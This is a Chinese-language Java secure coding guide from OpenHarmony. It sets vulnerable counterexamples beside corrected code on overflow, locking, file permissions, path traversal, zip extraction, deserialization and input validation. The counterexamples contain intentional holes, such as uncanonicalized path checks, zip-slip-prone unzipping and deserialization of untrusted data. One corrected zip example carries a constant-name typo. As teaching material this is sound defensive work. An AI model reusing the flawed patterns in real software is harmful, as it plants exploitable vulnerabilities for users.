1# OpenHarmony Java 安全编程指南 2 3本文档基于Java 语言提供一些安全编程建议,用于指导开发实践。 4 5# 数据类型 6 7## 进行数值运算时,避免整数溢出 8 9**【描述】** 10 11在进行数值运算过程中,确保运算结果在特定的整数类型的数据范围内,避免溢出,导致非预期的结果。 12 13内置的整数运算符不会以任何方式来标识运算结果的上溢或下溢。常见的加、减、乘、除都可能会导致整数溢出。另外,Java数据类型的合法取值范围是不对称的(最小值的绝对值比最大值大1),所以对最小值取绝对值(`java.lang.Math.abs()`)时,也会导致溢出。 14 15对于整数溢出问题,可以通过先决条件检测、使用Math类的安全方法、向上类型转换或者使用`BigInteger`等方法进行规避。 16 17**【反例】** 18 19```java 20public static int multNum(int num1, int num2) { 21 return num1 * num2; 22} 23``` 24 25上述示例中,当num1和num2的绝对值较大,两者的乘积大于`Integer.MAX_VALUE`或小于`Integer.MIN_VALUE`时,方法就无法返回正确的计算结果(产生溢出)。 26 27**【正例】** 28 29```java 30public static int multNum(int num1, int num2) { 31 return Math.multiplyExact(num1, num2); 32} 33``` 34 35上述示例中,当无法预判乘积结果是否会产生溢出时,使用了Java 8新增的`Math.multiplyExact()`方法,该方法在乘积运算不产生溢出时会返回运算结果,溢出时抛出`ArithmeticException`。 36 37## 确保除法运算和模运算中的除数不为0 38 39**【描述】** 40 41如果除法或模运算中的除数为零可能会导致程序终止或拒绝服务(DoS),因此需要在运算前保证除数不为0。 42 43**【反例】** 44 45```java 46long dividendNum = 0; 47long divisorNum = 0; 48long result1 = dividendNum / divisorNum; 49long result2 = dividendNum % divisorNum; 50``` 51 52上述示例中,没有对除数进行非零判断,会导致程序运行错误。 53 54**【正例】** 55 56```java 57long dividendNum = 0; 58long divisorNum = 0; 59if (divisorNum != 0) { 60 long result1 = dividendNum / divisorNum; 61 long result2 = dividendNum % divisorNum; 62} 63``` 64 65上述示例中,对除数进行非零判断,然后再进行除法或取余运算。 66 67# 表达式 68 69## 禁止直接使用可能为null的对象,防止出现空指针引用 70 71**【描述】** 72 73访问一个为null的对象时,会导致空引用问题,代码中抛出`NullPointerException`。该类问题应该通过预检查的方式进行消解,而不是通过`try...catch`机制处理`NullPointerException`。 74 75**【反例】** 76 77```java 78String env = System.getenv(SOME_ENV); 79if (env.length() > MAX_LENGTH) { 80 ... 81} 82``` 83 84上述示例中,`System.getenv()`返回值可能为null,代码中在使用变量`env`前未判空,会发生空指针引用。 85 86**【正例】** 87 88```java 89String env = System.getenv(SOME_ENV); 90if (env != null && env.length() > MAX_LENGTH) { 91 ... 92} 93``` 94 95上述示例中,对`System.getenv()`返回值先判空再使用,消除了空指针引用问题。 96 97# 并发与多线程 98 99## 在异常条件下,保证释放已持有的锁 100 101**【描述】** 102 103一个线程中没有正确释放持有的锁会导致其他线程无法获取该锁对象,导致阻塞。在发生异常时,需要确保程序正确释放当前持有的锁。在异常条件下,同步方法或者块同步中使用的对象内置锁会自动释放。但是大多数的Java锁对象并不是Closeable,无法使用try-with-resources功能自动释放,在这种情况下需要主动释放锁。 104 105**【反例】**(可检查异常) 106 107```java 108public final class Foo { 109 private final Lock lock = new ReentrantLock(); 110 111 public void incorrectReleaseLock() { 112 try { 113 lock.lock(); 114 doSomething(); 115 lock.unlock(); 116 } catch (MyBizException ex) { 117 // 处理异常 118 } 119 } 120 121 private void doSomething() throws MyBizException { 122 ... 123 } 124} 125``` 126 127上述代码示例中,使用了`ReentrantLock`锁,当`doSomething()`方法抛出异常时,catch代码块中没有释放锁操作,导致锁没有释放。 128 129**【正例】**(finally代码块) 130 131```java 132public final class Foo { 133 private final Lock lock = new ReentrantLock(); 134 135 public void correctReleaseLock() { 136 lock.lock(); 137 try { 138 doSomething(); 139 } catch (MyBizException ex) { 140 // 处理异常 141 } finally { 142 lock.unlock(); 143 } 144 } 145 146 private void doSomething() throws MyBizException { 147 ... 148 } 149} 150``` 151 152上述代码示例中,成功执行锁定操作后,将可能抛出异常的操作封装在try代码块中。锁在执行try代码块前获取,可保证在执行finally代码时正确持有锁。在finally代码块中调用`lock.unlock()`,可以保证不管是否发生异常都可以释放锁。 153 154**【反例】**(未检查异常) 155 156```java 157final class Foo { 158 private final Lock lock = new ReentrantLock(); 159 160 public void incorrectReleaseLock(String value) { 161 lock.lock(); 162 ... 163 int index = Integer.parseInt(value); 164 ... 165 lock.unlock(); 166 } 167} 168``` 169 170上述代码示例中,当`incorrectReleaseLock()`方法传入的String不是数字时,后续的操作会抛出`NumberFormatException`,导致锁未被正确释放。 171 172**【正例】**(finally代码块) 173 174```java 175final class Foo { 176 private final Lock lock = new ReentrantLock(); 177 178 public void correctReleaseLock(String value) { 179 lock.lock(); 180 try { 181 ... 182 int index = Integer.parseInt(value); 183 ... 184 } finally { 185 lock.unlock(); 186 } 187 } 188} 189``` 190 191上述代码示例中,成功执行锁定操作后,将可能抛出异常的操作封装在try代码块中。锁在执行try代码块前获取,可保证在执行finally代码时正确持有锁。在finally代码块中调用`lock.unlock()`,可以保证不管是否发生异常都可以释放锁。 192 193## 禁止使用Thread.stop()来终止线程 194 195**【描述】** 196 197线程在正常退出时,会维持类的不变性。某些线程API最初是用来帮助线程的暂停、恢复和终止,但随后因为设计上的缺陷而被废弃。例如,`Thread.stop()`方法会导致线程立即抛出一个`ThreadDeath`异常,这通常会停止线程。调用`Thread.stop()`会造成一个线程非正常释放它所获得的所有锁,可能会暴露这些锁保护的对象,使这些对象处于一个不一致的状态中。 198 199**【反例】**(使用废弃的Thread.stop()) 200 201```java 202public final class Foo implements Runnable { 203 private final Vector<Integer> vector = new Vector<Integer>(1000); 204 205 public Vector<Integer> getVector() { 206 return vector; 207 } 208 209 @Override 210 public synchronized void run() { 211 Random number = new Random(123L); 212 int i = vector.capacity(); 213 while (i > 0) { 214 vector.add(number.nextInt(100)); 215 i--; 216 } 217 } 218 219 public static void main(String[] args) throws InterruptedException { 220 Thread thread = new Thread(new Foo()); 221 thread.start(); 222 Thread.sleep(5000); 223 thread.stop(); 224 } 225} 226``` 227 228上述示例中,一个线程将伪随机数写入一个vector中,在经过指定时间后,线程被强迫终止。因为Vector是线程安全的,所以多个线程对共享实例进行的操作是不会让其处于一个不一致的状态。例如,`Vector.size()`方法总是能返回vector中的元素的正确数目。Vector实例是使用自身的隐式锁来保持同步。而`Thread.stop()`方法会导致线程停止在正在进行的操作并抛出`ThreadDeath`异常,所有获得的锁会被释放,如果线程是在加入一个新整数到vector时被停止的,就可能导致处于不一致状态的vector,如因为元素数目是在添加一个元素后增加的,可能会导致`Vector.size()`返回的是错误的元素数目。 229 230**【正例】**(设置线程结束标志) 231 232```java 233public final class Foo implements Runnable { 234 private final Vector<Integer> vector = new Vector<Integer>(1000); 235 236 private boolean done = false; 237 238 public Vector<Integer> getVector() { 239 return vector; 240 } 241 242 public void shutdown() { 243 done = true; 244 } 245 246 @Override 247 public synchronized void run() { 248 Random number = new Random(123L); 249 int i = vector.capacity(); 250 while (!done && i > 0) { 251 vector.add(number.nextInt(100)); 252 i--; 253 } 254 } 255 256 public static void main(String[] args) throws InterruptedException { 257 Foo foo = new Foo(); 258 Thread thread = new Thread(foo); 259 thread.start(); 260 Thread.sleep(5000); 261 foo.shutdown(); 262 } 263} 264``` 265 266上述示例中,使用一个标志来请求线程终止。`shutdown()`方法设置这个标志为true,线程的`run()`方法查询该标志为true时终止执行。 267 268**【正例】**(可中断) 269 270```java 271public final class Foo implements Runnable { 272 private final Vector<Integer> vector = new Vector<Integer>(1000); 273 274 public Vector<Integer> getVector() { 275 return vector; 276 } 277 278 @Override 279 public synchronized void run() { 280 Random number = new Random(123L); 281 int i = vector.capacity(); 282 while (!Thread.interrupted() && i > 0) { 283 vector.add(number.nextInt(100)); 284 i--; 285 } 286 } 287 288 public static void main(String[] args) throws InterruptedException { 289 Foo foo = new Foo(); 290 Thread thread = new Thread(foo); 291 thread.start(); 292 Thread.sleep(5000); 293 thread.interrupt(); 294 } 295} 296``` 297 298上述示例中,调用`Thread.interrupt()`方法来终止线程。调用`Thread.interrupt()`方法设置了一个内部的中断标志。线程可以通过`Thread.interrupted()`方法来检查该标志,该方法会在当前线程被中断时返回true,并会清除该中断标志。 299 300## 线程池中的线程结束后必须清理自定义的ThreadLocal变量 301 302**【描述】** 303 304线程池技术通过重复使用线程以减少线程创建开销。由于线程的复用,导致`ThreadLocal`变量的使用存在以下两类问题: 305 306- 脏数据问题:当前任务未正确初始化`ThreadLocal`变量,导致`ThreadLocal`变量是由该线程执行的其他任务设置的; 307- 内存泄露问题:`ThreadLocal`变量未主动释放,导致内存无法被主动回收。 308 309因此必须保证线程池中每个任务使用的`ThreadLocal`变量在任务结束后被主动清理。 310 311**【正例】** 312 313```java 314public class TestThreadLocal { 315 public static void main(String[] args) { 316 ThreadPoolExecutor pool = new ThreadPoolExecutor(1, 2, 100, 317 TimeUnit.MILLISECONDS, new LinkedBlockingQueue<Runnable>(), 318 Executors.defaultThreadFactory(), new ThreadPoolExecutor.CallerRunsPolicy()); 319 for (int i = 0; i < 20; i++) { 320 pool.execute(new TestThreadLocalTask()); 321 } 322 } 323} 324 325class TestThreadLocalTask implements Runnable { 326 private static ThreadLocal<Integer> localValue = new ThreadLocal<>(); 327 328 @Override 329 public void run() { 330 localValue.set(STATE1); 331 try { 332 ... 333 localValue.set(STATE3); 334 ... 335 } finally { 336 localValue.remove(); // 需要执行remove方法清理线程局部变量,避免内存泄露 337 } 338 } 339} 340``` 341 342# 输入输出 343 344## 在多用户系统中创建文件时指定合适的访问许可 345 346**【描述】** 347 348多用户系统中的文件通常归属于一个特定的用户,文件的属主能够指定系统中哪些用户能够访问该文件的内容。这些文件系统使用权限和许可模型来保护文件访问。当一个文件被创建时,文件访问许可规定了哪些用户可以访问或者操作这个文件。如果创建文件时没有对文件的访问许可做足够的限制,攻击者可能在修改此文件的访问权限之前对其进行读取或者修改。因此,一定要在创建文件时就为其指定访问许可,以防止未授权的文件访问。 349 350**【反例】** 351 352```java 353Writer out = new FileWriter("file"); 354``` 355 356`FileOutputStream`与`FileWriter`的构造方法无法让程序员显式的指定文件的访问权限。在这个示例中,所创建文件的访问许可取决于具体的实现机制,可能无法防止未授权的访问。 357 358**【正例】** 359 360```java 361Path file = new File("file").toPath(); 362 363// 抛出异常而不是覆写已存在的文件 364Set<OpenOption> options = new HashSet<OpenOption>(); 365options.add(StandardOpenOption.CREATE_NEW); 366options.add(StandardOpenOption.APPEND); 367 368// 文件权限应设置为只有属主才能读取/写入文件 369Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rw-------"); 370FileAttribute<Set<PosixFilePermission>> attr = 371 PosixFilePermissions.asFileAttribute(perms); 372try (SeekableByteChannel sbc = Files.newByteChannel(file, options, attr)) { 373 ... // 写数据 374} 375``` 376 377**【例外】** 378 379如果文件是创建在一个安全目录中,而且该目录对于非受信用户是不可读的,那么允许以默认许可创建文件。例如,如果整个文件系统是可信的或者只有可信用户可以访问,就属于这种情况。 380 381## 使用外部数据构造的文件路径前必须进行校验,校验前必须对文件路径进行规范化处理 382 383**【描述】** 384 385文件路径来自外部数据时,必须对其合法性进行校验,否则可能会产生路径遍历(Path Traversal)漏洞。 386 387文件路径有多种表现形式,如绝对路径、相对路径,路径中可能会含各种链接、快捷方式、影子文件等,这些都会对文件路径的校验产生影响,所以在文件路径校验前要对文件路径进行规范化处理,使用规范化的文件路径进行校验。对文件路径的规范化处理必须使用`getCanonicalPath()`,禁止使用`getAbsolutePath()`(该方法无法保证在所有的平台上对文件路径进行正确的规范化处理)。 388 389**【反例】** 390 391```java 392public void doSomething() { 393 File file = new File(HOME_PATH, fileName); 394 String path = file.getPath(); 395 396 if (!validatePath(path)) { 397 throw new IllegalArgumentException("Path Traversal vulnerabilities may exist!"); 398 } 399 ... // 对文件进行读写等操作 400} 401 402private boolean validatePath(String path) { 403 if (path.startsWith(HOME_PATH)) { 404 return true; 405 } else { 406 return false; 407 } 408} 409``` 410 411上述代码中fileName来自外部输入,直接用fileName的值与固定路径进行拼接,作为实际访问文件的路径,在访问文件之前通过`validatePath`检查了拼接的路径是否在固定目录下,但是攻击者可以通过../这样的路径方式,访问HOME_PATH之外的任意文件。 412 413**【正例】**(getCanonicalPath()) 414 415```java 416public void doSomething() { 417 File file = new File(HOME_PATH, fileName); 418 try { 419 String canonicalPath = file.getCanonicalPath(); 420 if (!validatePath(canonicalPath)) { 421 throw new IllegalArgumentException("Path Traversal vulnerability!"); 422 } 423 ... // 对文件进行读写等操作 424 } catch (IOException ex) { 425 throw new IllegalArgumentException("An exception occurred ...", ex); 426 } 427} 428 429private boolean validatePath(String path) { 430 if (path.startsWith(HOME_PATH)) { 431 return true; 432 } else { 433 return false; 434 } 435} 436``` 437 438上述代码示例中,使用外部输入的fileName构造文件路径后,先对文件路径进行规范化,然后用规范化的文件路径进行校验,满足条件后执行文件读写操作。这样可以有效避免路径遍历之类的风险。 439 440## 从ZipInputStream中解压文件必须进行安全检查 441 442**【描述】** 443 444使用`java.util.zip.ZipInputStream`解压文件时,有两个问题需要注意: 445 446**1. 解压出的文件在解压目标目录之外** 447 448解压zip文件时要校验各解压文件的名字,如果文件名包含../会导致解压文件被释放到目标目录之外的目录。因此,任何被解压文件的目标路径不在预期目录之内时,要么拒绝将其解压出来,要么将其解压到一个安全的位置。 449 450**2. 解压的文件消耗过多的系统资源** 451 452解压zip时,不仅要对解压之后的文件数量进行限制,还要对解压之后的文件大小进行限制。zip压缩算法可能有很大的压缩比,可以把超大文件压缩成很小的zip文件。zip文件解压时,如果不对解压后的文件的实际大小进行检查,则可能会使解压后的文件占用大量系统资源,导致zip炸弹(zip bomb)攻击。因此,Zip文件解压时,若解压之后的文件大小超过一定的限制,必须拒绝将其解压。具体大小限制由平台的处理性能来决定。 453 454**【反例】** 455 456```java 457public void unzip(String fileName, String dir) throws IOException { 458 try (FileInputStream fis = new FileInputStream(fileName); 459 ZipInputStream zis = new ZipInputStream(fis)) { 460 ZipEntry entry; 461 File tempFile; 462 byte[] buf = new byte[10240]; 463 int length; 464 465 while ((entry = zis.getNextEntry()) != null) { 466 tempFile = new File(dir, entry.getName()); 467 if (entry.isDirectory()) { 468 tempFile.mkdirs(); 469 continue; 470 } 471 472 try (FileOutputStream fos = new FileOutputStream(tempFile)) { 473 while ((length = zis.read(buf)) != -1) { 474 fos.write(buf, 0, length); 475 } 476 } 477 } 478 } 479} 480``` 481 482上述示例中,未对解压的文件名做验证,直接将文件名传递给`FileOutputStream`构造器。也未检查解压文件的资源消耗情况,允许程序运行到操作完成或者本地资源被耗尽。 483 484**【正例】** 485 486```java 487private static final long MAX_FILE_COUNT = 100L; 488private static final long MAX_TOTAL_FILE_SIZE = 1024L * 1024L; 489 490... 491 492public void unzip(FileInputStream zipFileInputStream, String dir) throws IOException { 493 long fileCount = 0; 494 long totalFileSize = 0; 495 496 try (ZipInputStream zis = new ZipInputStream(zipFileInputStream)) { 497 ZipEntry entry; 498 String entryName; 499 String entryFilePath; 500 File entryFile; 501 byte[] buf = new byte[10240]; 502 int length; 503 504 while ((entry = zis.getNextEntry()) != null) { 505 entryName = entry.getName(); 506 entryFilePath = sanitizeFileName(entryName, dir); 507 entryFile = new File(entryFilePath); 508 509 if (entry.isDirectory()) { 510 creatDir(entryFile); 511 continue; 512 } 513 514 fileCount++; 515 if (fileCount > MAX_FILE_COUNT) { 516 throw new IOException("The ZIP package contains too many files."); 517 } 518 519 try (FileOutputStream fos = new FileOutputStream(entryFile)) { 520 while ((length = zis.read(buf)) != -1) { 521 totalFileSize += length; 522 zipBombCheck(totalFileSize); 523 fos.write(buf, 0, length); 524 } 525 } 526 } 527 } 528} 529 530private String sanitizeFileName(String fileName, String dir) throws IOException { 531 File file = new File(dir, fileName); 532 String canonicalPath = file.getCanonicalPath(); 533 if (canonicalPath.startsWith(dir)) { 534 return canonicalPath; 535 } 536 throw new IOException("Path Traversal vulnerability: ..."); 537} 538 539private void creatDir(File dirPath) throws IOException { 540 boolean result = dirPath.mkdirs(); 541 if (!result) { 542 throw new IOException("Create dir failed, path is : " + dirPath.getPath()); 543 } 544 ... 545} 546 547private void zipBombCheck(long totalFileSize) throws IOException { 548 if (totalFileSize > MAX_TOTAL_FILE_SIZEG) { 549 throw new IOException("Zip Bomb! The size of the file extracted from the ZIP package is too large."); 550 } 551} 552``` 553 554上述示例中,在解压每个文件之前对其文件名进行校验,如果校验失败,整个解压过程会被终止。实际上也可以忽略跳过这个文件,继续后面的解压过程,甚至可以将这个文件解压到某个安全位置。解压缩过程中,在while循环中边读边统计实际解压出的文件总大小,如果达到指定的阈值(MAX_TOTAL_FILE_SIZE),会抛出异常终止解压操作;同时,会统计解压出来的文件的数量,如果达到指定阈值(MAX_FILE_COUNT),会抛出异常终止解压操作。 555 556说明:在统计解压文件的大小时,不应该使用`entry.getSize()`来统计文件大小,`entry.getSize()`是从zip文件中的固定字段中读取单个文件压缩前的大小,文件压缩前的大小可被恶意篡改。 557 558## 对于从流中读取一个字符或字节的方法,使用int类型的返回值 559 560**【描述】** 561 562Java中`InputStream.read()`和`Reader.read()`方法用于从流中读取一个字节(byte)或字符(char)。 563 564`InputStream.read()`读取一个字节,返回值的范围为0x00-0xFF(补码),8位;`Reader.read()`读取一个字符,返回值的范围为0x0000-0xFFFF(补码),16位。 565 566当读取到流的末尾时,以上方法均返回int类型的-1(补码表示为0xFFFFFFFF),32位。 567 568因此,如果在未判断返回值是否是流末尾标志-1(补码表示为0xFFFFFFFF)前将返回值转为byte或char,会导致无法正确判断返回值是流中的内容还是结束标识。 569 570**【反例】**(字节) 571 572```java 573FileInputStream in = getReadableStream(); 574 575byte data; 576while ((data = (byte) in.read()) != -1) { 577 // 使用data 578 ... 579} 580``` 581 582上述代码中,将`read()`方法返回的值直接转换为byte类型,并将转换后的结果与-1进行比较,进而判断是否达到流的末尾。如果`read()`返回值为0xFF,0xFF转为有符号byte即为byte类型-1,循环结束条件判断通过,结果就是错误的以为流结束了。 583 584**【反例】**(字符) 585 586```java 587InputStreamReader in = getReader(); 588 589char data; 590while ((data = (char) in.read()) != -1) { 591 // 使用data 592 ... 593} 594``` 595 596上述代码中,将`read()`方法返回的值直接转换为char类型,并将转换后的结果与-1进行比较,进而判断是否达到流的末尾。当读取流结束后,返回值转为char类型后也不为-1,因此即使流读取结束,while循环仍无法正确终止。 597原因是流结束标志-1(补码表示为0xFFFFFFFF)被强转为char类型时,会被转为0xFFFF,再和-1进行比较时等式不成立,导致循环结束条件永假。 598 599**【正例】**(字节) 600 601```java 602FileInputStream in = getReadableStream(); 603 604byte data; 605int result; 606while ((result = in.read()) != -1) { 607 data = (byte) result; 608 // 使用data 609 ... 610} 611``` 612 613**【正例】**(字符) 614 615```java 616InputStreamReader in = getReader(); 617 618char data; 619int result; 620while ((result = in.read()) != -1) { 621 data = (char) result; 622 // 使用data 623 ... 624} 625``` 626 627上述代码中,使用int类型的变量来保存`read()`的返回值,并使用该返回值判断是否读取到流的末尾,流未读完时,将读取的内容转换为char或者byte类型,这样就避免了判断流末尾不准确。 628 629## 防止外部进程阻塞在输入输出流上 630 631**【描述】** 632 633Java中有两种方式启动一个外部进程并与其交互: 634 6351. java.lang.Runtime的exec()方法 6362. java.lang.ProcessBuilder的start()方法 637 638他们都返回一个java.lang.Process对象,该对象封装了这个外部进程。 639 640每个Process对象,包含输入流、输出流及错误流各一个,应该恰当地处理这些流,避免外部进程阻塞在这些流上。 641 642不正确的处理会产生异常、DoS,及其他安全问题。 643 6441、处理外部进程的输入流(`Process.getOutputStream()`,**从调用者角度来说,外部进程的输入流是OutputStream**): 645对于需要输入流的外部进程,如果不为其提供一个有效输入,则其会从一个空的输入流中读取输入,导致其一直阻塞。 646 6472、处理外部进程的输出流(`Process.getInputStream()`)和错误流(`Process.getErrorStream()`): 648对于有输出流和错误流的外部进程,如果调用者不处理并且清空对应流,则该外部进程的输出可能会耗尽该进程输出流与错误流的缓冲区,导致外部进程被调用者阻塞,并影响调用者与外部进程的正常交互。 649如果使用`java.lang.ProcessBuilder`来调用外部进程,那么外部进程错误流可以通过`redirectErrorStream()`方法重定向到其输出流,调用者可以通过处理并清空输出流来同时处理错误流。 650 651**【反例】**(错误处理外部进程的返回结果) 652 653```java 654public void execExtProcess() throws IOException { 655 Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); 656 int exitVal = proc.exitValue(); 657} 658``` 659 660上述示例中,程序未等到ProcessMaybeStillRunning进程结束就调用`exitValue()`方法,很可能会导致`IllegalThreadStateException`异常。 661 662**【反例】**(未处理外部进程的输出流、错误流) 663 664```java 665public void execExtProcess() throws IOException, InterruptedException { 666 Process proc = Runtime.getRuntime().exec("ProcessMaybeStillRunning"); 667 int exitVal = proc.waitFor(); 668} 669``` 670 671此示例对比上一个示例,不会产生`IllegalThreadStateException`异常。但是由于没有处理ProcessMaybeStillRunning的输出流和错误流,可能会导致描述中列出的问题。 672 673**【正例】** 674 675```java 676public class ProcessExecutor { 677 public void callExtProcess() throws IOException, InterruptedException { 678 Process proc = Runtime.getRuntime().exec("ProcessHasOutput"); 679 680 StreamConsumer errConsumer = new StreamConsumer(proc.getErrorStream()); 681 StreamConsumer outputConsumer = new StreamConsumer(proc.getInputStream()); 682 683 errConsumer.start(); 684 outputConsumer.start(); 685 686 int exitVal = proc.waitFor(); 687 688 errConsumer.join(); 689 outputConsumer.join(); 690 } 691 692 class StreamConsumer extends Thread { 693 InputStream is; 694 695 StreamConsumer(InputStream is) { 696 this.is = is; 697 } 698 699 @Override 700 public void run() { 701 try { 702 byte data; 703 int result; 704 while ((result = is.read()) != -1) { 705 data = (byte) result; 706 handleData(data); 707 } 708 } catch (IOException ex) { 709 // 处理异常 710 } 711 } 712 713 private void handleData(byte data) { 714 ... 715 } 716 } 717} 718``` 719 720上述示例产生两个线程来分别读取进程的输出流和错误流。因此,外部进程将不会无限期地阻塞在这些流之上。 721 722**【例外】** 723 724对于外部进程不涉及使用输入流、输出流和错误流的场景,可以不对流进行专门处理。 725 726## 临时文件使用完毕必须及时删除 727 728**【描述】** 729 730程序中很多用到临时文件的地方,比如用于进程间的数据共享,缓存内存数据,动态构造的类文件,动态连接库文件等。临时文件可能创建于操作系统的共享临时文件目录。这类目录中的文件可能会被定期清理,例如,每天晚上或者重启时。然而,如果文件未被安全地创建或者用完后还是可访问的,具备本地文件系统访问权限的攻击者便可以利用共享目录中的文件进行恶意操作。删除已经不再需要的临时文件有助于对文件名和其他资源(如二级存储)进行回收利用。每一个程序在正常运行过程中都有责任确保已使用完毕的临时文件被删除。 731 732**【反例】** 733 734```java 735public boolean uploadFile(InputStream in) throws IOException { 736 File tempFile = File.createTempFile("tempname", ".tmp"); 737 try (FileOutputStream fop = new FileOutputStream(tempFile)) { 738 int readSize; 739 do { 740 readSize = in.read(buffer, 0, MAX_BUFF_SIZE); 741 if (readSize > 0) { 742 fop.write(buffer, 0, readSize); 743 } 744 } while (readSize >= 0); 745 ... // 对tempFile进行其他操作 746 } 747} 748``` 749 750上述示例代码在运行结束时未将临时文件删除。 751 752**【正例】** 753 754```java 755public boolean uploadFile(InputStream in) throws IOException { 756 File tempFile = File.createTempFile("tempname", ".tmp"); 757 try (FileOutputStream fop = new FileOutputStream(tempFile)) { 758 int readSize; 759 do { 760 readSize = in.read(buffer, 0, MAX_BUFF_SIZE); 761 if (readSize > 0) { 762 fop.write(buffer, 0, readSize); 763 } 764 } while (readSize >= 0); 765 ... // 对tempFile进行其他操作 766 } finally { 767 if (!tempFile.delete()) { 768 // 忽略 769 } 770 } 771} 772``` 773 774以上例子,在临时文件使用完毕之后,finally语句里对其进行了彻底删除。 775 776# 序列化 777 778#### 禁止直接将外部数据进行反序列化 779 780**【描述】** 781 782反序列化操作是将一个二进制流或字符串反序列化为一个Java对象。当反序列化操作的数据是外部数据时,恶意用户可利用反序列化操作构造指定的对象、执行恶意代码、向应用程序中注入有害数据等。不安全反序列化操作可能导致任意代码执行、特权提升、任意文件访问、拒绝服务等攻击。 783 784实际应用中,通常采用三方件实现对json、xml、yaml格式的数据序列化和反序列化操作。常用的三方件包括:fastjson、jackson、XMLDecoder、XStream、SnakeYmal等。 785 786**【反例】** 787 788```java 789public class DeserializeExample implements Serializable { 790 private static final long serialVersionUID = -5809782578272943999L; 791 792 private String name; 793 794 public String getName() { 795 return name; 796 } 797 798 public void setName(String name) { 799 this.name = name; 800 } 801 802 private void readObject(java.io.ObjectInputStream ois) { 803 ois.defaultReadObject(); 804 System.out.println("Hack!"); 805 } 806} 807 808 // 使用外部数据执行反序列化操作 809 ObjectInputStream ois2= new ObjectInputStream(fis); 810 PersonInfo myPerson = (PersonInfo) ois2.readObject(); 811``` 812 813上面的示例中,当反序列化操作的对象是攻击者构造的DeserializeExample对象的序列化结果,当`PersonInfo myPerson = (PersonInfo) ois2.readObject()`该语句执行时会报错,但是DeserializeExample对象中的`readObject()`方法中的攻击代码已经被执行。 814 815**【正例】**(使用白名单校验) 816 817```java 818public final class SecureObjectInputStream extends ObjectInputStream { 819 public SecureObjectInputStream() throws SecurityException, IOException { 820 super(); 821 } 822 823 public SecureObjectInputStream(InputStream in) throws IOException { 824 super(in); 825 } 826 827 protected Class<?> resolveClass(ObjectStreamClass desc) 828 throws IOException, ClassNotFoundException { 829 if (!desc.getName().equals("com.xxxx.PersonInfo")) { // 白名单校验 830 throw new ClassNotFoundException(desc.getName() + " not find"); 831 } 832 return super.resolveClass(desc); 833 } 834} 835``` 836 837上述示例是对反序列化的类进行白名单检查。即在自定义ObjectInputStream中重载`resolveClass()`方法,对className进行白名单校验。如果反序列化的类不在白名单之中,直接抛出异常。 838 839**【正例】**(使用安全管理器防护) 840 841如果产品已经使用Java的安全管理器,建议使用Java安全管理器机制进行防护。 842 843(1) 设置enableSubclassImplementation 844 845``` 846permission java.io.SerializablePermission "enableSubclassImplementation"; 847 848``` 849 850(2) 定义ObjectInputStream,重载resolveClass的方法 851 852```java 853public final class HWObjectInputStream extends ObjectInputStream { 854 public HWObjectInputStream() throws SecurityException, IOException { 855 super(); 856 } 857 858 public HWObjectInputStream(InputStream in) throws IOException { 859 super(in); 860 } 861 862 protected Class<?> resolveClass(ObjectStreamClass desc) 863 throws IOException, ClassNotFoundException { 864 SecurityManager sm = System.getSecurityManager(); 865 if (sm != null) { 866 sm.checkPermission(new SerializablePermission( 867 "com.xxxx." + desc.getName())); 868 } 869 return super.resolveClass(desc); 870 } 871} 872``` 873 874(3) 在policy文件里设置白名单 875 876``` 877permission java.io.SerializablePermission "com.xxxx.PersonInfo"; 878 879``` 880 881# 外部数据校验 882 883## 外部数据使用前必须进行合法性校验 884 885**描述】** 886 887外部数据的范围包括但不限于:网络、用户输入(包括命令行、界面)、命令行、文件(包括程序的配置文件) 、环境变量、进程间通信(包括管道、消息、共享内存、socket等、RPC)、跨信任域方法参数(对于API)等。 888 889来自程序外部的数据通常被认为是不可信的,在使用这些数据前需要进行合法性校验,否则可能会导致不正确的计算结果、运行时异常、不一致的对象状态,甚至引起各种注入攻击,对系统造成严重影响。 890 891**对外部数据的校验包括但不局限于:** 892 893- 校验API接口参数合法性; 894- 校验数据长度; 895- 校验数据范围; 896- 校验数据类型和格式; 897- 校验集合大小; 898- 校验外部数据只包含可接受的字符(白名单校验),尤其需要注意一些特殊情况下的特殊字符。 899 900对于外部数据的校验,要注意以下两点: 901 902- 如果需要,外部数据校验前要先进行标准化:例如“\uFE64”、“<”都可以表示“<”,在web应用中,如果外部输入不做标准化,可以通过“\uFE64”绕过对“<”限制。 903- 对外部数据的修改要在校验前完成,保证实际使用的数据与校验的数据一致。 904 905出于性能和代码简洁性考虑,对于RESTful API,provider只校验请求信息,consumer只校验响应结果;对于一个调用链上的方法,最外层的对外public方法必须校验,内部public方法可不重复校验。 906 907**常见校验框架:** 908 909接口:JSR 380(Bean Validation 2.0)、JSR 303(Bean Validation 1.0)JavaBean参数校验标准,核心接口javax.validation.Validator,定义了很多常用的校验注解。 910实现:hibernate-validator 、Spring: 911 912- hibernate-validator 是 JSR 380(Bean Validation 2.0)、JSR 303(Bean Validation 1.0)规范的实现,同时扩展了注解:@Email、@Length、@NotEmpty、@Range等。 913- Spring validator 同样实现了JSR 380和JSR 303,并提供了MethodValidationPostProcessor类,用于对方法的校验。 914 915产品可自主选择合适的校验框架,也可以自主开发实现外部数据校验。 916 917**【反例】** 918 919```java 920/** 921 * 更换公司信息 922 * 923 * @param companies 新旧公司信息 924 * @return 更换公司是否成功 925 */ 926@RequestMapping(value = "/updating", method = RequestMethod.POST) 927public boolean updateCompany(@RequestBody Companies companies) { 928 return employeeService.updateCompany(companies.getSrcCompany(), 929 companies.getDestCompany()); 930} 931``` 932 933上面的错误代码,provider对外开放的`updateCompany()`接口未对请求体做校验,存在被恶意攻击的风险。 934 935**【正例】** 936 937```java 938/** 939 * 更换公司信息 940 * 941 * @param companies 新旧公司信息 942 * @return 更换公司是否成功 943 */ 944@RequestMapping(value = "/updating", method = RequestMethod.POST) 945public boolean updateCompany(@RequestBody @Valid @NotNull Companies companies) { 946 return employeeService.updateCompany( 947 companies.getSrcCompany(), companies.getDestCompany()); 948} 949 950@Setter 951@Getter 952public class Companies { 953 @Valid 954 @NotNull 955 private Company srcCompany; 956 957 @Valid 958 @NotNull 959 private Company destCompany; 960} 961 962@Setter 963@Getter 964@Accessors(chain = true) 965public class Company { 966 @NotBlank 967 @Size(min = 10, max = 256) 968 private String name; 969 970 @NotBlank 971 @Size(min = 10, max = 512) 972 private String address; 973 974 @Valid 975 private SubCompany subCompany; 976} 977``` 978 